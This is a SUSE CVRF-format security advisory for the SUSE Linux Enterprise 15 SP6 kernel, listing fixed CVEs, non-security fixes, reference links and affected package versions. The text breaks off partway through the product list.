<?xml version="1.0" encoding="UTF-8"?>
<cvrfdoc xmlns="http://www.icasi.org/CVRF/schema/cvrf/1.1" xmlns:cvrf="http://www.icasi.org/CVRF/schema/cvrf/1.1">
  <DocumentTitle xml:lang="en">Security update for the Linux Kernel</DocumentTitle>
  <DocumentType>SUSE Patch</DocumentType>
  <DocumentPublisher Type="Vendor">
    <ContactDetails>security@suse.de</ContactDetails>
    <IssuingAuthority>SUSE Security Team</IssuingAuthority>
  </DocumentPublisher>
  <DocumentTracking>
    <Identification>
      <ID>SUSE-SU-2026:0471-1</ID>
    </Identification>
    <Status>Final</Status>
    <Version>1</Version>
    <RevisionHistory>
      <Revision>
        <Number>1</Number>
        <Date>2026-02-12T11:25:44Z</Date>
        <Description>current</Description>
      </Revision>
    </RevisionHistory>
    <InitialReleaseDate>2026-02-12T11:25:44Z</InitialReleaseDate>
    <CurrentReleaseDate>2026-02-12T11:25:44Z</CurrentReleaseDate>
    <Generator>
      <Engine>cve-database/bin/generate-cvrf.pl</Engine>
      <Date>2017-02-24T01:00:00Z</Date>
    </Generator>
  </DocumentTracking>
  <DocumentNotes>
    <Note Title="Topic" Type="Summary" Ordinal="1" xml:lang="en">Security update for the Linux Kernel</Note>
    <Note Title="Details" Type="General" Ordinal="2" xml:lang="en">
The SUSE Linux Enterprise 15 SP6 kernel was updated to fix various security issues

The following security issues were fixed:

- CVE-2025-40257: mptcp: fix a race in mptcp_pm_del_add_timer() (bsc#1254842).
- CVE-2025-40259: scsi: sg: Do not sleep in atomic context (bsc#1254845).
- CVE-2025-68284: libceph: prevent potential out-of-bounds writes in handle_auth_session_key() (bsc#1255377).
- CVE-2025-68285: libceph: fix potential use-after-free in have_mon_and_osd_map() (bsc#1255401).
- CVE-2025-68775: net/handshake: duplicate handshake cancellations leak socket (bsc#1256665).
- CVE-2025-68813: ipvs: fix ipv4 null-ptr-deref in route error path (bsc#1256641).
- CVE-2025-71085: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() (bsc#1256623).
- CVE-2025-71089: iommu: disable SVA when CONFIG_X86 is set (bsc#1256612).
- CVE-2025-71112: net: hns3: add VLAN id validation before using (bsc#1256726).
- CVE-2025-71120: SUNRPC: svcauth_gss: avoid NULL deref on zero length gss_token in gss_read_proxy_verf (bsc#1256779).
- CVE-2026-22999: net/sched: sch_qfq: do not free existing class in qfq_change_class() (bsc#1257236).
- CVE-2026-23001: macvlan: fix possible UAF in macvlan_forward_source() (bsc#1257232).
- CVE-2026-23010: ipv6: Fix use-after-free in inet6_addr_del() (bsc#1257332).

The following non security issues were fixed:

- bpf/selftests: test_select_reuseport_kern: Remove unused header (bsc#1257603).
- btrfs: do not strictly require dirty metadata threshold for metadata writepages (stable-fixes).
- cifs: Fix copy offload to flush destination region (bsc#1252511).
- cifs: Fix flushing, invalidation and file size with copy_file_range() (bsc#1252511).
- cifs: add new field to track the last access time of cfid (git-fixes).
- ext4: use optimized mballoc scanning regardless of inode format (bsc#1254378).
- ice: use netif_get_num_default_rss_queues() (bsc#1247712).
- mm, page_alloc, thp: prevent reclaim for __GFP_THISNODE THP allocations (bsc#1253087).
- net: hv_netvsc: reject RSS hash key programming without RX indirection table (bsc#1257473).
- net: tcp: allow zero-window ACK update the window (bsc#1254767).
- sched: Increase sched_tick_remote timeout (bsc#1254510).
- scsi: storvsc: Process unsupported MODE_SENSE_10 (bsc#1257296).
- smb: change return type of cached_dir_lease_break() to bool (git-fixes).
- smb: client: ensure open_cached_dir_by_dentry() only returns valid cfid (git-fixes).
- smb: client: remove unused fid_lock (git-fixes).
- smb: client: short-circuit in open_cached_dir_by_dentry() if !dentry (git-fixes).
- smb: client: split cached_fid bitfields to avoid shared-byte RMW races (bsc#1250748).
- smb: client: update cfid-&gt;last_access_time in open_cached_dir_by_dentry() (git-fixes).
- smb: improve directory cache reuse for readdir operations (bsc#1252712).
- x86: make page fault handling disable interrupts properly (git-fixes).
</Note>
    <Note Title="Terms of Use" Type="Legal Disclaimer" Ordinal="3" xml:lang="en">The CVRF data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).</Note>
    <Note Title="Patchnames" Type="Details" Ordinal="4" xml:lang="en">SUSE-2026-471,SUSE-SLE-Module-Live-Patching-15-SP6-2026-471,SUSE-SLE-Product-HA-15-SP6-2026-471,SUSE-SLE-Product-SLES-15-SP6-LTSS-2026-471,SUSE-SLE-Product-SLES_SAP-15-SP6-2026-471,openSUSE-SLE-15.6-2026-471</Note>
  </DocumentNotes>
  <DocumentDistribution xml:lang="en">Copyright SUSE LLC under the Creative Commons License 4.0 with Attribution (CC-BY-4.0)</DocumentDistribution>
  <DocumentReferences>
    <Reference Type="Self">
      <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      <Description>Link for SUSE-SU-2026:0471-1</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://lists.suse.com/pipermail/sle-security-updates/2026-February/024142.html</URL>
      <Description>E-Mail link for SUSE-SU-2026:0471-1</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/support/security/rating/</URL>
      <Description>SUSE Security Ratings</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1228490</URL>
      <Description>SUSE Bug 1228490</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1233563</URL>
      <Description>SUSE Bug 1233563</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1234842</URL>
      <Description>SUSE Bug 1234842</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1241437</URL>
      <Description>SUSE Bug 1241437</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1242909</URL>
      <Description>SUSE Bug 1242909</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1246184</URL>
      <Description>SUSE Bug 1246184</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1246447</URL>
      <Description>SUSE Bug 1246447</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1247030</URL>
      <Description>SUSE Bug 1247030</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1247712</URL>
      <Description>SUSE Bug 1247712</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1248211</URL>
      <Description>SUSE Bug 1248211</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1249307</URL>
      <Description>SUSE Bug 1249307</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1250032</URL>
      <Description>SUSE Bug 1250032</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1250082</URL>
      <Description>SUSE Bug 1250082</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1250705</URL>
      <Description>SUSE Bug 1250705</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1250748</URL>
      <Description>SUSE Bug 1250748</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1252511</URL>
      <Description>SUSE Bug 1252511</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1252712</URL>
      <Description>SUSE Bug 1252712</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1252900</URL>
      <Description>SUSE Bug 1252900</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1253087</URL>
      <Description>SUSE Bug 1253087</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1253451</URL>
      <Description>SUSE Bug 1253451</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1254378</URL>
      <Description>SUSE Bug 1254378</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1254447</URL>
      <Description>SUSE Bug 1254447</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1254465</URL>
      <Description>SUSE Bug 1254465</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1254510</URL>
      <Description>SUSE Bug 1254510</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1254767</URL>
      <Description>SUSE Bug 1254767</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1254842</URL>
      <Description>SUSE Bug 1254842</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1254845</URL>
      <Description>SUSE Bug 1254845</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1255377</URL>
      <Description>SUSE Bug 1255377</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1255401</URL>
      <Description>SUSE Bug 1255401</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256528</URL>
      <Description>SUSE Bug 1256528</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256609</URL>
      <Description>SUSE Bug 1256609</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256610</URL>
      <Description>SUSE Bug 1256610</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256612</URL>
      <Description>SUSE Bug 1256612</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256616</URL>
      <Description>SUSE Bug 1256616</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256617</URL>
      <Description>SUSE Bug 1256617</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256623</URL>
      <Description>SUSE Bug 1256623</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256641</URL>
      <Description>SUSE Bug 1256641</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256664</URL>
      <Description>SUSE Bug 1256664</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256665</URL>
      <Description>SUSE Bug 1256665</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256682</URL>
      <Description>SUSE Bug 1256682</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256726</URL>
      <Description>SUSE Bug 1256726</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256728</URL>
      <Description>SUSE Bug 1256728</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256759</URL>
      <Description>SUSE Bug 1256759</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256779</URL>
      <Description>SUSE Bug 1256779</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1256792</URL>
      <Description>SUSE Bug 1256792</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1257154</URL>
      <Description>SUSE Bug 1257154</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1257158</URL>
      <Description>SUSE Bug 1257158</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1257232</URL>
      <Description>SUSE Bug 1257232</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1257236</URL>
      <Description>SUSE Bug 1257236</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1257296</URL>
      <Description>SUSE Bug 1257296</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1257332</URL>
      <Description>SUSE Bug 1257332</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1257473</URL>
      <Description>SUSE Bug 1257473</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://bugzilla.suse.com/1257603</URL>
      <Description>SUSE Bug 1257603</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2023-53714/</URL>
      <Description>SUSE CVE CVE-2023-53714 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2024-42103/</URL>
      <Description>SUSE CVE CVE-2024-42103 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2024-53070/</URL>
      <Description>SUSE CVE CVE-2024-53070 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2024-53149/</URL>
      <Description>SUSE CVE CVE-2024-53149 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-22047/</URL>
      <Description>SUSE CVE CVE-2025-22047 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-37813/</URL>
      <Description>SUSE CVE CVE-2025-37813 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-38243/</URL>
      <Description>SUSE CVE CVE-2025-38243 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-38322/</URL>
      <Description>SUSE CVE CVE-2025-38322 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-38379/</URL>
      <Description>SUSE CVE CVE-2025-38379 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-38539/</URL>
      <Description>SUSE CVE CVE-2025-38539 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-39689/</URL>
      <Description>SUSE CVE CVE-2025-39689 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-39813/</URL>
      <Description>SUSE CVE CVE-2025-39813 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-39829/</URL>
      <Description>SUSE CVE CVE-2025-39829 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-39913/</URL>
      <Description>SUSE CVE CVE-2025-39913 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-40097/</URL>
      <Description>SUSE CVE CVE-2025-40097 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-40202/</URL>
      <Description>SUSE CVE CVE-2025-40202 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-40257/</URL>
      <Description>SUSE CVE CVE-2025-40257 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-40259/</URL>
      <Description>SUSE CVE CVE-2025-40259 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-68284/</URL>
      <Description>SUSE CVE CVE-2025-68284 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-68285/</URL>
      <Description>SUSE CVE CVE-2025-68285 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-68775/</URL>
      <Description>SUSE CVE CVE-2025-68775 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-68804/</URL>
      <Description>SUSE CVE CVE-2025-68804 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-68808/</URL>
      <Description>SUSE CVE CVE-2025-68808 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-68813/</URL>
      <Description>SUSE CVE CVE-2025-68813 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-68819/</URL>
      <Description>SUSE CVE CVE-2025-68819 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-71078/</URL>
      <Description>SUSE CVE CVE-2025-71078 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-71081/</URL>
      <Description>SUSE CVE CVE-2025-71081 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-71083/</URL>
      <Description>SUSE CVE CVE-2025-71083 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-71085/</URL>
      <Description>SUSE CVE CVE-2025-71085 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-71089/</URL>
      <Description>SUSE CVE CVE-2025-71089 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-71111/</URL>
      <Description>SUSE CVE CVE-2025-71111 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-71112/</URL>
      <Description>SUSE CVE CVE-2025-71112 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-71120/</URL>
      <Description>SUSE CVE CVE-2025-71120 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-71136/</URL>
      <Description>SUSE CVE CVE-2025-71136 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2025-71147/</URL>
      <Description>SUSE CVE CVE-2025-71147 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2026-22999/</URL>
      <Description>SUSE CVE CVE-2026-22999 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2026-23001/</URL>
      <Description>SUSE CVE CVE-2026-23001 page</Description>
    </Reference>
    <Reference Type="Self">
      <URL>https://www.suse.com/security/cve/CVE-2026-23010/</URL>
      <Description>SUSE CVE CVE-2026-23010 page</Description>
    </Reference>
  </DocumentReferences>
  <ProductTree xmlns="http://www.icasi.org/CVRF/schema/prod/1.1">
    <Branch Type="Product Family" Name="SUSE Linux Enterprise High Availability Extension 15 SP6">
      <Branch Type="Product Name" Name="SUSE Linux Enterprise High Availability Extension 15 SP6">
        <FullProductName ProductID="SUSE Linux Enterprise High Availability Extension 15 SP6" CPE="cpe:/o:suse:sle-ha:15:sp6">SUSE Linux Enterprise High Availability Extension 15 SP6</FullProductName>
      </Branch>
    </Branch>
    <Branch Type="Product Family" Name="SUSE Linux Enterprise Live Patching 15 SP6">
      <Branch Type="Product Name" Name="SUSE Linux Enterprise Live Patching 15 SP6">
        <FullProductName ProductID="SUSE Linux Enterprise Live Patching 15 SP6">SUSE Linux Enterprise Live Patching 15 SP6</FullProductName>
      </Branch>
    </Branch>
    <Branch Type="Product Family" Name="SUSE Linux Enterprise Server 15 SP6-LTSS">
      <Branch Type="Product Name" Name="SUSE Linux Enterprise Server 15 SP6-LTSS">
        <FullProductName ProductID="SUSE Linux Enterprise Server 15 SP6-LTSS" CPE="cpe:/o:suse:sles-ltss:15:sp6">SUSE Linux Enterprise Server 15 SP6-LTSS</FullProductName>
      </Branch>
    </Branch>
    <Branch Type="Product Family" Name="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
      <Branch Type="Product Name" Name="SUSE Linux Enterprise Server for SAP Applications 15 SP6">
        <FullProductName ProductID="SUSE Linux Enterprise Server for SAP Applications 15 SP6" CPE="cpe:/o:suse:sles_sap:15:sp6">SUSE Linux Enterprise Server for SAP Applications 15 SP6</FullProductName>
      </Branch>
    </Branch>
    <Branch Type="Product Family" Name="openSUSE Leap 15.6">
      <Branch Type="Product Name" Name="openSUSE Leap 15.6">
        <FullProductName ProductID="openSUSE Leap 15.6" CPE="cpe:/o:opensuse:leap:15.6">openSUSE Leap 15.6</FullProductName>
      </Branch>
    </Branch>
    <Branch Type="Product Version" Name="cluster-md-kmp-64kb-6.4.0-150600.23.87.1">
      <FullProductName ProductID="cluster-md-kmp-64kb-6.4.0-150600.23.87.1">cluster-md-kmp-64kb-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="cluster-md-kmp-default-6.4.0-150600.23.87.1">
      <FullProductName ProductID="cluster-md-kmp-default-6.4.0-150600.23.87.1">cluster-md-kmp-default-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dlm-kmp-64kb-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dlm-kmp-64kb-6.4.0-150600.23.87.1">dlm-kmp-64kb-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dlm-kmp-default-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dlm-kmp-default-6.4.0-150600.23.87.1">dlm-kmp-default-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-allwinner-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-allwinner-6.4.0-150600.23.87.1">dtb-allwinner-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-altera-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-altera-6.4.0-150600.23.87.1">dtb-altera-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-amazon-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-amazon-6.4.0-150600.23.87.1">dtb-amazon-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-amd-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-amd-6.4.0-150600.23.87.1">dtb-amd-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-amlogic-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-amlogic-6.4.0-150600.23.87.1">dtb-amlogic-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-apm-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-apm-6.4.0-150600.23.87.1">dtb-apm-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-apple-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-apple-6.4.0-150600.23.87.1">dtb-apple-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-arm-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-arm-6.4.0-150600.23.87.1">dtb-arm-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-broadcom-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-broadcom-6.4.0-150600.23.87.1">dtb-broadcom-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-cavium-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-cavium-6.4.0-150600.23.87.1">dtb-cavium-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-exynos-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-exynos-6.4.0-150600.23.87.1">dtb-exynos-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-freescale-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-freescale-6.4.0-150600.23.87.1">dtb-freescale-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-hisilicon-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-hisilicon-6.4.0-150600.23.87.1">dtb-hisilicon-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-lg-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-lg-6.4.0-150600.23.87.1">dtb-lg-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-marvell-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-marvell-6.4.0-150600.23.87.1">dtb-marvell-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-mediatek-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-mediatek-6.4.0-150600.23.87.1">dtb-mediatek-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-nvidia-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-nvidia-6.4.0-150600.23.87.1">dtb-nvidia-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-qcom-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-qcom-6.4.0-150600.23.87.1">dtb-qcom-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-renesas-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-renesas-6.4.0-150600.23.87.1">dtb-renesas-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-rockchip-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-rockchip-6.4.0-150600.23.87.1">dtb-rockchip-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-socionext-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-socionext-6.4.0-150600.23.87.1">dtb-socionext-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-sprd-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-sprd-6.4.0-150600.23.87.1">dtb-sprd-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="dtb-xilinx-6.4.0-150600.23.87.1">
      <FullProductName ProductID="dtb-xilinx-6.4.0-150600.23.87.1">dtb-xilinx-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="gfs2-kmp-64kb-6.4.0-150600.23.87.1">
      <FullProductName ProductID="gfs2-kmp-64kb-6.4.0-150600.23.87.1">gfs2-kmp-64kb-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="gfs2-kmp-default-6.4.0-150600.23.87.1">
      <FullProductName ProductID="gfs2-kmp-default-6.4.0-150600.23.87.1">gfs2-kmp-default-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-64kb-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-64kb-6.4.0-150600.23.87.1">kernel-64kb-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-64kb-devel-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-64kb-devel-6.4.0-150600.23.87.1">kernel-64kb-devel-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-64kb-extra-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-64kb-extra-6.4.0-150600.23.87.1">kernel-64kb-extra-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-64kb-optional-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-64kb-optional-6.4.0-150600.23.87.1">kernel-64kb-optional-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-debug-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-debug-6.4.0-150600.23.87.1">kernel-debug-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-debug-devel-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-debug-devel-6.4.0-150600.23.87.1">kernel-debug-devel-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-debug-vdso-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-debug-vdso-6.4.0-150600.23.87.1">kernel-debug-vdso-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-default-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-default-6.4.0-150600.23.87.1">kernel-default-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1">
      <FullProductName ProductID="kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1">kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1">
      <FullProductName ProductID="kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1">kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-default-devel-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-default-devel-6.4.0-150600.23.87.1">kernel-default-devel-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-default-extra-6.4.0-150600.23.87.1">
      <FullProductName ProductID="kernel-default-extra-6.4.0-150600.23.87.1">kernel-default-extra-6.4.0-150600.23.87.1</FullProductName>
    </Branch>
    <Branch Type="Product Version" Name="kernel-default-livepatch-6.4.0-150600.23.87.1">
